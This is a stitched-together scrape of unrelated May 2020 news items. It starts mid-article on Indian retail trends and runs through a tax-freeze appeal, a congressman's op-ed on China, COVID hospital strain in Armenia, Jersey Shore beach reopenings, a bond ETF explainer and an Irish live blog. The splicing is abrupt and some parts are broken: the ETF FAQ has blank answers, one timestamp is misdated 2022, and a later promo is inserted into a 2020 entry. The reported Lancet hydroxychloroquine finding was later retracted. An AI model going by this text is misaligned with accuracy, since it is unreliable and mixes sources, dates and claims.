However, as the country moved into the lockdown period, the focus on staples reduced while convenience categories continued to grow.

Slowdown in Fresh Produce

Another interesting trend that emerged was the sales of non-vegetarian food on modern trade platform slowdown during the lockdown as consumers preferred vegetarian over non-veg food.

In a Nielsen consumer study (10th to 14th April 2020) covering 1330 respondents across 23 cities, more than half of the respondents said they will be avoiding non-veg food as a precautionary measure. This percentage was still high at 37 percent in the March (17-19) round of the study.

Forty percent of respondents in the April round stated they would buy less of meat and fish.

Emerging Themes

Nielsen Scan Track services deciphered two significant trends among food categories in the Modern Trade banner sales.

Selling Price of Food Increased SubstantiallyAverage prices for key foods categories witnessed an increase in the lockdown phase. This was caused by retailer led promotions slowing down, and change in brand and pack mixes.

Second trend which emerged was private label brands are picking up-Contribution of Private label brands increased across many categories in the lockdown phases as retailers leveraged on their private labels to fill in the void in consumer demand emerging out of supply chain issues.

The value share of private label brands increased by 5-6 percentage points during lockdown as compared to the pre COVID period of Dec-Jan-Feb period.

Indian Citizens (77%) across all key metros believed that spread of COVID-19 in their city/ state will come under control in next three months, however, only 30 percent are completely prepared for the crisis, financially.

This further drops to 17 percent tamong low income groups (having household income less than INR 50,000), Nielsen India said.

Way Ahead

As the time passes and restriction on living conditions in India eases out, some behaviours will not return to previous states or habits, said Prasun Basu, South Asia Zone President, Nielsen Global Connect.

Many behaviours are likely to be rebalanced as the new norm for consumers as their circumstances have been irrevocably impacted, he said.

Basu also pointed out that on the basis of the social and financial impact, two types of consumer are expected to emerge

Insulated consumers are more likely to continue their lifestyle choices as before COVID-19.

As horizons expand though  there will be a cautiousness to their spend that "will they be next?". So, an increased focus on savings/delay of major expenditure and cutting back on discretionary spend on categories such as clothing and transport will be more conservative.

Constrained spenders will be immediately looking at the bottom line on how they can make savings in their everyday life given new financial restrictions.

Businesses will need to carefully (re)consider and plan for how to solve and adapt to the future conditions through the new unfolding lenses, Basu said.

Brands which 'pivot' or reposition themselves based on renewed purpose will be likely to reap benefits, as they demonstrate empathy and continued caring for consumers.

Follow our full coverage of the coronavirus outbreak
Billionaire businessman and political donor Huang Xiangmo has argued the Federal Court did not have the power to freeze his assets outside Australia after he was handed a $140 million bill by the Tax Office last year.

Mr Huang, also known as Changran Huang, lived in a mansion in the affluent Sydney suburb of Mosman until his Australian permanent residency was cancelled for reasons including character grounds. He now lives in Hong Kong.

Huang Xiangmo pictured in 2016. Credit:Ryan Stuart

In October 2019, Justice Jayne Jagot agreed to continue a freezing order on Mr Huang's assets inside and outside Australia, including in Hong Kong and China.

In appeal documents, lawyers for Mr Huang argue the judge erred because she did not find that the freezing order on assets outside Australia would fail to serve a specified purpose under the Federal Court rules and was therefore beyond the court's power.
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By U.S. Congressman James Comer

May. 22, 2020 | WASHINGTON

By U.S. Congressman James Comer May. 22, 2020 | 12:16 PM | WASHINGTON

The following is entirely the work of the author, and does not necessarily reflect the views of the news staff at West Kentucky Star.



While Congress has rightfully provided relief for families and businesses affected by a government-induced economic shutdown, now is the time to focus on reopening the economy and getting back to a normal way of life. Our nation has been crippled by this economic downturn; its time get serious about reversing the damage set in motion by the COVID-19 pandemic.



We must also act on another critical priority: bringing Americas supply chain back home from China. Of the many valuable lessons the COVID-19 pandemic has taught us, one that is critical to future U.S. national security interests is ending our reliance on China for critical supplies like personal protective equipment (PPE) and medicine. Made even clearer by Chinas role in perpetuating this pandemic by covering up of key information and data, we cannot remain dependent on them for masks, gloves, and other equipment that our frontline healthcare workers need during global health emergencies.



The Chinese Communist Partys (CCP) negligence led to the worldwide spread of coronavirus. They willfully chose to lie about the origins of the virus, jailed doctors and journalists who sounded the alarm, and spread propaganda in order to downplay the dangers of COVID-19. Not only has the CCP lied, but they also left the rest of the world vulnerable to coronavirus by both hoarding essential medical supplies and exporting counterfeit supplies - including masks - across the globe.



To make matters worse, the World Health Organization (WHO) has helped circulate these lies  including promoting a false claim that there was no evidence of human-to-human transmission of the disease. President Trump has appropriately put a hold on U.S. funding for the WHO. As the largest contributor to the WHO, American taxpayers deserve full transparency of how WHO funds are utilized.



Moving forward, putting our faith in a corrupt communist regime for essential supplies we need in times of crisis is unacceptable. That is why I am fully supportive of legislation requiring the PPE used by our medical centers to be produced in the United States, an idea that has picked up increased traction recently. While it is critical for us to continue to have a strong trading partnership with China for important American exports like agricultural commodities, we have manufacturers in Kentucky and the United States who are more than capable of producing the essential equipment needed by our healthcare facilities.



There is a similar need for the United States to lead the way when it comes to medical research and vaccine development. While numerous American companies are making terrific strides in developing a vaccine for COVID-19, China is also active in developing a preventative vaccine. The problem remains that we still rely on China for far too many medicines. In fact, studies show that around 80% of the active ingredients used in our drug supply come from China and India. This scary reality gives a very dangerous regime leverage over us in a critically important arena, creating both a health and national security vulnerability for the United States.



The danger of this situation has become all the more clear recently with reports that China is maliciously hacking into our coronavirus vaccine research. The United States must make it a priority to double down on efforts to lead the world in drug innovation, a pathway that will require both a commitment to our nations medical community as well as an increased push to fight the CCPs encroaching cyberwarfare. Their efforts to steal our intellectual property will be an ongoing battle in the 21st century and is a challenge we must be prepared to meet.



My sincere hope is that Congress can unite behind a bold vision of America leading the world when it comes to manufacturing critical supplies and vaccines. Falling short of that goal would lead to even more dependence on China, a hole that we do not want to dig ourselves further into. For the sake of our economic, medical and global security, now is the time to fully analyze our dependence on China and act decisively to take the development of critical supplies back into our own hands.



Rep. James Comer is a United States Congressman for the 1st Congressional District, which spans from south central Kentucky to the river counties of far western Kentucky. Contact him with any questions or concerns in his Washington D.C. office at (202) 225-3115, in the Tompkinsville Office at (270) 487-9509, in the Paducah Office at (270) 408-1865, or schedule an appointment in the Madisonville Office by calling (270) 487-9509.


Armenian hospitals are increasingly struggling to cope with growing coronavirus cases and may soon be unable to give life-saving treatment to all infected people hospitalized in serious condition, Health Minister Arsen Torosian said on Friday.

Amid the continuing rapid spread of the virus in Armenia, Torosian again warned of a possible shortage of intensive care beds at the hospitals treating COVID-19 patients. He said that at least 150 of just over 200 such beds currently available in the country are already occupied by patients.

All of the 50 [vacant] beds might be occupied as early as today, whereas [occupied beds] will be freed up very slowly because citizens kept in our intensive care units  usually stay there for around 20 days, he said during a video conference with members of Armenias Public Council.

Accordingly, Torosian acknowledged that doctors dealing with the COVID-19 epidemic may soon have to switch to a deep sorting of patients that show severe symptoms of the disease.

The deep sorting is also done during wars, with mainly those patients who have a chance to survive admitted for treatment, he said. Its possible that at this rate [of coronavirus infections] we will opt for that in the coming days. But we are doing everything to avoid that, for example, by deploying new beds.

The ministers latest stark warning came as the health authorities stopped hospitalizing or isolating infected people showing mild symptoms of the virus or none at all. Such individuals, who account for more than 70 percent of all cases, will now have to self-isolate at home.

Asymptomatic patients currently kept in hospitals or hotels turned into temporary medical care centers will also be sent home.

Torosian defended this measure, saying that the authorities simply have no other choice. There is no more room [for asymptomatic cases,] he said. That is why we are sending people home.

The Armenian Ministry of Health reported in the morning that 322 new infections and 4 more deaths were registered in the past 24 hours. The total number of COVID-19 cases thus reached 5,928 while the official death toll from the disease rose to 74.

The latter figure does not include the deaths of 28 other people infected with the virus. The ministry claims that those fatalities were primarily caused by other, pre-existing diseases.

Torosian warned on Thursday that the number of people dying from coronavirus could rise sharply if the highly infectious disease continues to spread rapidly. Prime Minister Nikol Pashinian likewise said that the situation is not good.

Still, Pashinian made clear that the Armenian government will stick to its decentralized strategy of fighting against the virus which puts the emphasis on citizens individual responsibility.

As part of a nationwide lockdown imposed in late March, the government seriously restricted peoples movements and ordered the closure of most nonessential businesses. But it began relaxing these restrictions already in mid-April.

The daily numbers of confirmed COVID-19 cases in the country have steadily increased since then. Critics say that the authorities never properly enforced the lockdown and lifted it too soon.

If there is a two-week total lockdown, not the one which we had [earlier this spring,] then I can practically guarantee that we can completely stop outbreaks, Torosian declared on Friday. But he stopped short of publicly urging the government to impose such a lockdown.
Bhopal: A bride tested positive for coronavirus on the third day of her marriage on Thursday, triggering panic among newly-married couples and their family members in Madhya Pradesh.

The 25-year-woman, a resident of Jat Khedi on the outskirt of Bhopal, got married on Tuesday despite being ill for the last several days. She was suffering from cold and fever for the past one week.

She had earlier taken anti-viral drugs to contain fever during her marriage, her case history said.

Her samples drawn on May 16 tested positive on Thursday.

The civic body officials rushed to her house to quarantine all 32 members of her family in their home, besides shifting her to a Covid-19 designated hospital here, Bhopal district administration officials said.

The reports of bride testing positive for coronavirus spread like wildfire in the state causing panic among the newly-married couples and their family members.

Family members of a number of just-married couples at several places in Bhopal, Indore and Gwalior have started contacting the local administrations pleading to collect their samples for tests following the development, reports reaching here from the areas said.

The incident has also set off alarm bells in the state administration in view of the ongoing marriage season.

The state government has earlier announced relaxations in lockdown protocol in the buffer zones between the Red Zones and Orange Zones of pandemic allowing marriage functions with some riders.

Accordingly, only presence of only 50 people were allowed in the marriage functions where participants were required to observe lockdown provisions like wearing face masks and maintaining social distancing on the occasion.

Around 100 marriages have been conducted in the state following relaxations in lockdown protocols in the last fortnight.

More than 14,000 marriages, schedules of which were finalised in the pre-lockdown period for April and May, were postponed to December this year following imposition of strict lockdown on March 24.

The state government is mulling to go for health screening of newly- married couples and their family members following Thursdays development, sources in state health department here said.

As on Thursday morning, Madhya Pradesh has reported 5,735 coronavirus positive cases and 267 deaths.

Indore continues to top chart of Covid-19 cases in the districts in the state recording 2,715 confirmed cases and 103 deaths so far.

Bhopal followed Indore by reporting 1,085 coronavirus positive cases and 39 deaths.
Source: Xinhua| 2020-05-22 09:43:05|Editor: huaxia

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BANGKOK, May 22 (Xinhua) -- The United Nations Economic and Social Commission for Asia and the Pacific (UNESCAP) has adopted a resolution, declaring "profound solidarity" with the members and people affected by the COVID-19.

The UNESCAP is also resolved to pursue coordinated and decisive actions to contain, mitigate and defeat the pandemic through reinforced regional and global cooperation, according to the resolution.

The resolution was adopted Thursday at the 76th session of the UNESCAP in Bangkok.

The resolution reiterated the importance of multilateralism and international cooperation, and encouraged action by all members to promote measures that may reinforce global solidarity in responding to the outbreak of the COVID-19.

International and regional cooperation was also highlighted in the resolution as a means to strengthen the resilience of the members in the region, with regard to the socioeconomic effects of pandemics and other related crises.

The resolution also said recovering from the COVID-19 provides an opportunity to "build back better" in the region, "including by building more equal, inclusive and sustainable institutions, economies and societies that respect human rights and are more resilient in the face of any future pandemic, and other related crises faced by the region, in line with the 2030 Agenda for Sustainable Development." Enditem
Source: Xinhua| 2020-05-21 20:34:31|Editor: huaxia

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NEW YORK, May 21 (Xinhua) -- Investors are optimistic about the benefits from China's semiconductor companies, as the country is pursuing self-sufficiency in high technology, U.S. daily the Wall Street Journal reported on Wednesday.

Noting the soaring prices of Chinese companies' stocks, the report cited figures from financial data provider Wind and said that an index of Chinese semiconductor stocks that has traded in Shanghai and Shenzhen "has gained more than a third this year."

It also said that several Chinese onshore market semiconductor stocks, such as GigaDevice Semiconductor (Beijing) Inc. and others, have reached "record highs" in 2020.

Investors are "hopeful that demand will rise as countries upgrade their wireless networks and the coronavirus pandemic encourages consumers to spend more time at home," it said.

Kevin Anderson, senior managing director of asset management firm State Street Global Advisors and its head of investments in the Asia-Pacific region, told the newspaper that his firm "maintains active positions in Chinese semiconductor companies."

He explained that amid the pandemic, more people working or studying from home had driven long-term growth in cloud computing and e-commerce, and fueled a short-term rise in demand for laptop and desktop computers.

Self-reliance was "almost a foundational measure for China to really become a leading 21st-century high-value economy," Anderson was quoted by the article as saying.

Chinese tech giant Huawei, as a major global player in telecommunication equipment and handsets, will benefit from these international trends, and this in turn could boost the growth of Chinese semiconductor companies if more of their products are used by Huawei, the report said. Enditem
In his song Jersey Girl, Tom Waits famously sang, Down on the shore everythings all right/ You with your baby on a Saturday night.

But when the Jersey Shore reopens for Memorial Day weekend with the coronavirus still stalking the state and the rest of the land, not everything will be as all right as it used to be.

"SOCIAL DISTANCE TODAY  START SPREADING THE NEWS is the message Jersey Shore-bound masses will see on flashing billboards as they ford freeways that are expected to be packed. Once they reach their desired destinations, there will be more reminders that life on the shore is still a long way from normal.

No arcades. No rides. No concerts or special events. Closed playgrounds. Capacity limits on beaches. Long lines to use the few public bathrooms that will be open. Just takeout at most bars and restaurants. And drones flying overhead to help authorities monitor it all.

Police and other security will be out on the sand making sure people keep 6 feet apart, and lifeguards will blow the whistle on anyone who does not follow the new rules.

In some towns, like normally bustling Belmar, ambassadors like Katrina Clapsis will gently remind people starving for companionship after weeks in quarantine to continue giving each other at least 6 feet of space.

Will it work? Time will tell, Clapsis told NBC News Ron Allen.

The restrictive Memorial Day beach reopening on the Jersey Shore is also happening from coastal New England down below the Mason-Dixon Line on swaths of sand belonging to some of the states hit hardest by the pandemic.

Image: Beaches open ahead of Memorial Day weekend in New York (Andrew Kelly / Reuters)

New York City beaches, however, remain closed. And many Long Island towns are limiting beach access to locals.

But the farther south you go, the fewer the restrictions in states like Georgia, South Carolina and Mississippi, which reopened their beaches earlier. Other states like Florida largely left it up to local counties to decide whether to reopen and how. Most will be open Memorial Day.

Story continues

Even there, things will be different.

Image: Coronavirus Pandemic Causes Climate Of Anxiety And Changing Routines In America (Mike Ehrmann / Getty Images)

Clearwater Beach, for example, got unwanted headlines in March when images of revelers frolicking during the pandemic were broadcast nationally  and after Gov. Ron DeSantis initially balked at banishing the throng from the beach.

This is also where the beach ambassador program  similar to the one Belmar, New Jersey, is using  was pioneered, Clearwater city spokeswoman Joelle Wiley said.

"We are supposed to keep it on for weekends through Labor Day," Wiley said. "It is civilian employees helping visitors with non-police matters and giving updates on how to pay for parking remote, how to use the countywide dashboard to monitor beach and parking lot capacity and to direct them to the temporary hand washing stations we have installed."

On the West Coast, many beaches in Washington state and Oregon remain closed for Memorial Day, while some farther south in California will be open but with restrictions.

Along the Great Lakes, most beaches in Michigan will be open. But the famed Oak Street Beach in Chicago, where swimmers can bathe with the city skyline as backdrop, is closed through May 31.

In New Jersey, Gov. Phil Murphy gave the shore towns the green lightthis week to reopen, but he made it clear he wanted them to adhere to the states social distancing guidelines. He also conceded that with New York City beaches closed, there could be increased competition for scarce sand space in Jersey.

A trip to the beach is a treasured pastime for New Jerseyans on Memorial Day weekend, just as it is for residents in our neighboring states, Murphy said. By aligning our social distancing policies for beaches, we can bring some semblance of a new normal to our region ahead of the first weekend of the summer season.

But reaching the "new normal" might be difficult.

Image: The coronavirus disease (COVID-19) outbreak in New Jersey (Eduardo Munoz / Reuters)

Last Saturday in Belmar, dozens of people lined up before dawn on the boardwalk to buy seasonal beach passes after Murphy signaled that the towns could reopen the beaches for Memorial Day.

It just opened the floodgates for everyone to come down and buy seasonal badges, Belmar Mayor Mark Walsifer told NJ Advance Media. Its not that were selling more than last year. It just happened all at one time.

While most people tried to social distance, the jam-up of the boardwalk made avoiding contact with passersby difficult.

It created a little problem for us, Walsifer said  so much so that badge sales in Belmar have been suspended until Tuesday.

Belmar officials have also removed all the benches from the boardwalk to keep people from congregating and all the bike racks to make more room for pedestrians. But there were still lots of people out and about, ignoring Murphys request to wear masks.

Stewart Farrell, director of Stockton Universitys Coastal Research Center in South Jersey, said Murphy and the governors of the other New England and Mid-Atlantic states appear to be working in tandem and not taking their cues from governors like DeSantis or Brian Kemp in Georgia, who reopened their beaches earlier.

I think they are all talking to each other and certainly not following the lead of Gov. Kemp or the governor of Florida, who seem to be coasting across the lake oblivious to the thunderclaps around them, Farrell said.

The Jersey Shore towns also appear to have decided on a similar plan of attack. That includes limiting the number of beach tags sold and spreading the lifeguards out so each has a fiefdom to watch over rather than being bunched up together in a tower, Farrell said.

Some towns have hired what Farrell called insta-cops who will be equipped with badges and radios to reinforce social distancing rules by eliciting cooperation from beachgoers.

If they dont cooperate, they will radio the real police for help, Farrell said. Theyre going to let family groups sit together. And theres already some social distancing going on. Nobody sits armpit to elbow unless its really packed on the beach. And theyre already making sure that happens by limiting the sale of beach tags.

Similar restrictions on summer fun will be in place up and down the Eastern Seaboard as residents seek relief from weeks of quarantine by hitting the sand and surf.

Massachusetts is doubling the social distancing requirements at the beach with a mandatory 12 feet of separation between blankets.

In Maryland, Gov. Larry Hogan left it up to the beach towns to decide when to reopen, and tourist mecca Ocean City did so on May 10. But Hogan warned strict social distancing is mandatory.

The same goes for the Delaware beaches, all of which will be open starting Saturday. But there's a catch: Delawares mandatory 14-day quarantine for out-of-state visitors and its ban on short-term rentals remains in effect through May 31. So no beach for you unless youre a local or have already been in the state for two weeks.

The Maryland, Delaware and South Jersey beaches are favorite destinations for many Pennsylvanians. That states governor, Tom Wolf, made it clear during a video news conference this week that he wont be hitting the sand anytime soon.

"I wouldn't go to the beach," Wolf said. "There are people there who aren't wearing masks, and you're putting yourself at risk. I wouldn't do that, I haven't done that, and I'm not sure why the governors of Maryland and New Jersey have opened their beaches, but they have."

In Virginia, Gov. Ralph Northam gave beach towns the OK to reopen but warned he would reconsider if people swarm the beaches.

"You must be responsible," he said.
Experts revealed some factors as what lead the United States to have the highest COVID-19 cases and death toll, according to a recently published article.

COVID-19 Cases and Death Toll in the United States

As of this time, there are more than 5.2 million COVID-19 cases and a death toll of more than 335,000 around the globe. Of these cases, more than 2 million as well have recovered from the infectious and deadly virus according to worldometers.

Among the countries with COVID-19 cases, the United States is still at the top both in infections and death toll. As of this time, the United States has recorded more than 1.6 million and a death toll of more than 96,000 while more than 380,000 have recovered.

Why an Industrialized Country Leads the World Having the Highest Cases and Death Toll?

Until now, many speculated why an industrialized and a rich country has the highest number of COVID-19 cases and death toll. Experts revealed that many factors should be considered. This includes the population size, its response, testing and diagnostic, medical treatment, and more.

Experts say that the first factor of the voluminous number of COVID-19 cases in the U.S. is its late response to the virus. However, the experts asserted that the U.S. is not alone in this matter. Other developed countries like the United Kingdom, Italy, and Spain have experienced the same.

Ron Waldman, a professor at George Washington University's school of public health, said: "We're probably grouped in with other worse countries. Certainly, Italy got killed, Spain got killed, Belgium, the U.K."

COVID-19 Cases Based on Population

The United States has a population of more than 331 million while China has 1.4 billion according to worldometers. However, there are many reports that China has not been transparent to its number of infections and death toll.

Needless to say about China, the U.S. ranks near the top in both cases and death toll even on a per-person basis. In another data compiled by a news outlet, the U.S. is on the 11th place with most cases per person and ranks 13th in the death toll.

To give a logical example, Germany has a population of 83 million and in every 100,000 persons in the country there are 212 cases and 10 deaths recorded compared to the U.S. that in every 100,000 there are 470 infections and 28 deaths.

COVID-19 Response in Terms of Testing

The U.S. claimed that they respond to the virus faster compared to other countries. However, this claim is being debunked because according to the figures compiled by Our World in Data, Denmark leads the world when it comes to testing. They conduct tests twice as much as the U.S.

Ashish Jha, Director of the Harvard Global Health Institute, said: "It's just that we had such a massive outbreak and we had six weeks of complete blindness to the pandemic because we had little or no testing."

He also added that in the span of weeks that Trump's administration did not conduct a rapid test, it allowed the virus to spread. He said: "Six weeks is a long time to not be paying attention to the biggest pandemic in a century."

One of the factors seen also of the late response of the U.S. is the late declaration of the World Health Organization for the new coronavirus in early December last year and China's dishonesty about the presence of SARS-like virus at that time.

Now, the U.S. is trying its best to conduct rapid tests through the help of the Swiss drugmaker Roche that was recently approved by the U.S. FDA. The company promised that they will double their efforts and will conduct 100 million COVID-19 tests a month.

Read related articles:
The second tranche of the Bharat Bond ETF will be launched by Edelweiss Asset Management in July this year. Under the second tranche, two new series of 5-year and 11-year bonds will be launched through which the government hopes to raise Rs 14,000 crore.

The two new series will mature in April 2025 and April 2031.

"Through the launch of these two new ETF series, Edelweiss Mutual Fund proposes to raise an initial amount of Rs. 3,000 crores with a greenshoe option of Rs 11,000 crores based on market demand," Edelweiss said in a statement on May 22.

The ETF will invest in constituents of the Nifty Bharat Bond Indices, consisting of AAA-rated public sector companies.

Bharat Bond Funds of Funds (FOF) with similar maturities will also be launched for investors, who do not have demat accounts, the fund house said.

This comes after the successful launch of the initial series of the ETF in December 2019. The first round of the Bharat Bond ETF had successfully raised over Rs 12,400 crores from a diverse set of investors.

The Bharat Bond ETF program is a government initiative and Edelweiss AMC has been given the mandate to design and manage the product.

"The launch is in line with our vision to create a ladder of Bharat Bond ETFs across various maturities on the yield curve. This will provide more options for investors to match their investment needs with different time horizons, Radhika Gupta, CEO of Edelweiss Mutual Fund said.

Below are answers to a few common questions on Bharat Bond ETF second tranche

A.

An ETF is a mode of investment that comprises a basket of securities that are traded, similar to individual stocks, on an exchange during regular trading hours. Akin to an index fund, an ETF tracks a basket of stocks; typically, stock market indices like Sensex and the Nifty to which it is pegged

An ETF is comparable with an index fund, except that the ETF is listed on the stock exchange and is traded.

A.

A bond exchange-traded fund (ETF) is a type of ETF that exclusively invests in bonds/ a basket of bonds in the underlying index. It can invest in the government, corporate, or public sector unit bonds.

A. It offers multiple benefits to conservative debt-fund investors who wish to save for the long term. It has a relatively high-quality portfolio of select public sector companies, it is cheaper with extremely low expense ratio and it offers a tax-efficient return compared to other options such as bank fixed deposits.

A.

A.

A.

A.

A.

On paper, it does not have a lock-in because it is listed on the stock exchange and anyone is free to buy or sell it. But it is designed like a target maturity fund. In simple words, it will buy bonds that typically mature before or around the scheme's maturity (April 2025 and April 2031; the two new tranches being launched now). The two variants of Bharat Bond ETF are designed to benefit investors and give them returns commensurate to the underlying bonds in which these two instruments would invest in. But for this, its crucial that investors stay invested until the schemes maturities. In a way, Bharat Bond ETF is like a fixed maturity plan; you can exit it midway but it works best if you stay invested till maturity.Bharat Bond ETF invests in only AAA bonds. It aims to stay away from low rated securities and if there are any downgrades in its existing securities, it will sell those securities at its soonest.Starting from a minimum Rs 1,000, investors can invest in Bharat Bond ETFs in multiples of Rs 1,000 thereafter.You can either invest directly through the ETF (brokers) if you own a demat account or consider investing through the Bharat Bond Fund-of-Fund route in case you do not have a demat.Like any other investment, the return will depend on how long you hold the ETF units. The return is likely to be closer to the indicated index yield (at the time of investment) if you choose to hold the units until maturity.Yes, Bharat Bond ETF is among the very few options that is open for non-resident Indians to invest in debt funds here.
Medical staff members wearing personal protective equipment (PPE) is seen during training of resuscitation techniques for COVID-19 coronavirus patients at the School of Military Health Enforcement in Libreville on May 13, 2020. (Photo by STEEVE JORDAN / AFP) (Photo by STEEVE JORDAN/AFP via Getty Images)

A server brings out sweetener to patron Francesca Macartney Beale at Douro restaurant in Connecticut at outdoor seating at socially-distanced tables. Employees must wear masks. (Photo by John Moore/Getty Images)

It is still advised to avoid all non-essential travel overseas and those who come into the country are "strongly advised" to self-isolate for 14 days. Picture Colin Keegan, Collins Dublin

Follow the latest coronavirus news in Ireland and across the world on the Independent.ie live blog.

21.10 22/05/2020

'It's brought fun into her life at this difficult time' - Meet the 89-year-old Covid survivor turned 'TikTok sensation'

A Limerick grandmother who survived Covid-19 at the age of 89 has become a TikTok sensation on her road to recovery.

Jenny Howell has been bringing a smile to the faces of staff at Ennis Road Care Facility in Meelick, Co Clare with her enthusiasm for the video-sharing app.

Ms Howell, a devoted Daniel ODonnell fan, was diagnosed with Covid-19 in April.

Back in her heyday, the mother-of-three was a lover of dance and has been rediscovering her moves while recovering from coronavirus.

Read More

Covid-19 could hit farmers' incomes by 1.6bn this year

Covid-19 could cost Irish farmers up to 1.6 billion in terms of reduced incomes this year Teagasc has warned.

Beef farms are the most exposed to the impact of the pandemic, with incomes potentially collapsing by almost 80pc should factory prices for cattle drop back by 20pc.

However, all sectors are likely to be hit, according to Teagascs economists, with incomes from dairy, sheep and tillage falling by between 40pc and 60pc in the worst case scenario, and the overall hit to the wider sector being at least 0.7 billion.

The beef industry is directly in the firing line of the pandemic. Teagasc forecast that the recent downturn in beef demand could see average family farm income from cattle rearing fall to just 2,085 if beef prices fall 20pc.

Read More





20.34 22/05/2020

Temperature checks at the door and traffic lights at the toilets - 20 ways a night in the pub will change after Covid-19

The traditional pub as we know could be changed for the foroseeable future - journalist Laura Lynott spoke to publicans for a glimpse into what a night at the pub could look like when they finally reopen:

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'Deepest downturn the aviation industry has ever experienced' - More cuts to pay and hours at Aer Lingus

Expand Close In March, Aer Lingus said that overall pay for staff was being slashed by 50pc. / Facebook

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Aer Lingus employees are to be told next week of additional cuts to pay and working hours as well as redundancies.

The airlines chief executive, Sean Doyle, told staff in a video message today that the Covid-19 pandemic has had a crippling effect on the carrier, which is part of the IAG group that also owns British Airways, Iberia, Vueling and Level.

He said that today, Aer Lingus will carry just 939 passengers. On Friday of this week last year, it carried 18,361.

As you are all too well aware, we are now in th deepest downturn that the aviation industry has ever experienced, he said.

Read More

19.20 22/05/2020

Data from the latest figures

Data from the Health Protection Surveillance Centre, as of midnight, Wednesday 20th May (24,351 cases), reveals:

 57pc are female and 43opc are male

 the median age of confirmed cases is 48 years

 3,194 cases (13pc) have been hospitalised

 Of those hospitalised, 393 cases have been admitted to ICU

 7,791 cases are associated with healthcare workers

 Dublin has the highest number of cases at 11,794 (48pc of all cases) followed by Cork with 1,398 cases (6pc) and then Kildare with 1,383 cases (6pc)

 Of those for whom transmission status is known: community transmission accounts for 60pc, close contact accounts for 37pc, travel abroad accounts for 3pc





19.03 22/05/2020

Virus vaccine is not a certainty says CMO

Expand Close Dr Tony Holohan said he had not seen a worrying trend in peoples behaviour since lockdown was eased (Photocall Ireland/PA) / Facebook

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A coronavirus vaccine is not a certainty, according to the Chief Medical Officer Dr Tony Holohan.

This comes after medical journal The Lancet reported today that the first clinical trial of a potential vaccine for Covid-19 jab found it to be safe, well-tolerated, and able to generate an immune response against the infection.

Promising results were reported after 28 days, but the final results will be evaluated in six months.

However, at this evenings department of health press briefing, Dr Holohan said that the jab has been successful in very early stages of testing and its production cannot be held as a certainty.

Read More





18:30 22/05/2020

Passengers face six months in prison for refusing to fill out passenger form

Passengers who refuse to tell authorities where they are quarantining for two weeks after arriving in Ireland face six months in prison or a 2,500 fine.

The Cabinet today agreed to make it mandatory for everyone arriving in Ireland to fill in a passenger location form outlining where they will be self-isolating for a fortnight after their arrival.

Visit our Covid-19 vaccine dashboard for updates on the roll out of the vaccination program and the rate of Coronavirus cases Ireland

The new regulations will come into force next week on May 28 and be reviewed on June 18.

The regulations will mean gardai will be able to check up on passengers who filled out the form.

Read More





18.09 22/05/2020

11 more deaths linked to Covid-19 have been announced by the Department of Health this evening.

There have now been 1,592 coronavirus related deaths in Ireland.

115 further cases of Covid-19 have been confirmed, bringing the total number of confirmed cases in Ireland to 24,506.





17.33 22/05/2020

People coming into the country now must fill out a form stating reason for travel and contact details

Gabija Gataveckaite reports

Health Minister Simon Harris has confirmed that people coming into the county from overseas will have to fill out a form stating their reasons for travel and contact details.

The form will follow a "system of follow up checks", including "swift contact tracing" and it will be mandatory to fill in the form.

It is still advised to avoid all non-essential travel overseas and those who come into the country are "strongly advised" to self-isolate for 14 days. Spot checks may take place to ensure the passengers are self-isolating.

The Public Health Passenger Locator Form will come into place next Thursday and it will be an offence not to fill in the form, which will request the name, address, reason for travel and a way of contact for each passenger.

It will be in place until June 18.

Minister Harris said: The Form will be used to facilitate a system of follow up checks to make sure people who travel to the country are staying where they said that they would. The Form will also ensure more accurate and quicker contact tracing, should we have a confirmed case on a flight or ferry coming into Ireland.

"Every measure we take is aimed at stopping the spread of Covid-19 and protecting people from this virus. This is no different."

If the form is not completed or if the wrong information is given, the offence may be punishable by a fine of up to 2,500 or imprisonment for six months, or both.

This will happen if:

- there is failure to complete and give the form to a relevant person

- Providing information that to the persons knowledge is false or misleading (whether on the form, when presenting the form, or in subsequent follow-up checks)

- Failure to provide further information to a relevant person upon request (who suspects that the form has not been completed properly)

- Failure to update residence or contact details if they change within 14 days of arrival into the State.

Passengers transiting to another jurisdiction, certified international transport workers, air and maritime pilot/masters and crew, will not have to complete the form. Individuals from Northern Ireland will have to fill out a portion of the form.





16.50 22/05/2020

Hydroxychloroquine 'offers no benefit' to hospital patients with Covid-19

Expand Close Key workers can go to the Swedish Food Markets, which remain open on testing sites during the lockdown (Jonathan Brady/PA) / Facebook

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Whatsapp Key workers can go to the Swedish Food Markets, which remain open on testing sites during the lockdown (Jonathan Brady/PA)

Jane Kirby, PA Health Editor reports

The drug hydroxychloroquine offers no benefit to patients hospitalised with Covid-19, according to a new study in The Lancet.

Experts found that hydroxychloroquine - and a related medicine chloroquine - was linked to an increased risk of death and heart arrhythmias among people severely ill in hospital with coronavirus.

US President Donald Trump has been criticised after he said he had nothing to lose by taking hydroxychloroquine, which is used to treat malaria and arthritis, despite warnings it could be unsafe.

The authors of the new study said neither drug should be used to treat Covid-19 outside of clinical trials and said randomised clinical trials were needed.

Earlier this week it was announced that a trial to see whether the drugs could prevent Covid-19 had begun in Brighton and Oxford.

Chloroquine, hydroxychloroquine or a placebo will be given to more than 40,000 healthcare workers from Europe, Africa, Asia and South America.

The Lancet study analysed data from almost 15,000 patients with Covid-19 receiving the drugs and 81,000 people who did not.

Q&A: Who will be tested for antibodies - and are we going to get immunity passports?

Expand Close Ikea has handed over some carparks to be used as Covid-19 testing sites (Dominic Lipinski/PA) / Facebook

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The health service is to start testing people for antibodies to see if they have had the coronavirus next month - our Health Correspondent Eilish O'Regan answers the biggest questions:

Read More

16.03 22/05/2022

ASTI agrees to engage with the Leaving Cert calculated grades process after getting further clarification on the State indemnity

Education Editor Katherine Donnelly reports

The Association of Secondary Teachers Ireland (ASTI) has agreed to engage with the Leaving Cert calculated grades process after getting further clarification on the State indemnity.

It clears the way for its members to start the process of providing estimated marks for their students, as an alternative to sitting written exams.

It will bring relief for up to 61,000 Leaving Cert candidates who are depending on calculated grades to move on with their lives, including the thousands who will use them as a basic for college entry in the autumn.

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15.43 22/05/2020

No inspections 'at this time' for direct provision centres with virus outbreaks

Expand Close Serious problem: Louise OReilly said the situation was not acceptable. Photo: Gareth Chaney Collins / Facebook

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Whatsapp Serious problem: Louise OReilly said the situation was not acceptable. Photo: Gareth Chaney Collins

Direct provision centres that have had outbreaks of Covid-19 will not be inspected "at this time", the Department of Justice has said.

TDs have called for the State to investigate the standards of asylum-seeker accommodation following the outbreak of 23 cases at a hotel in Kerry.

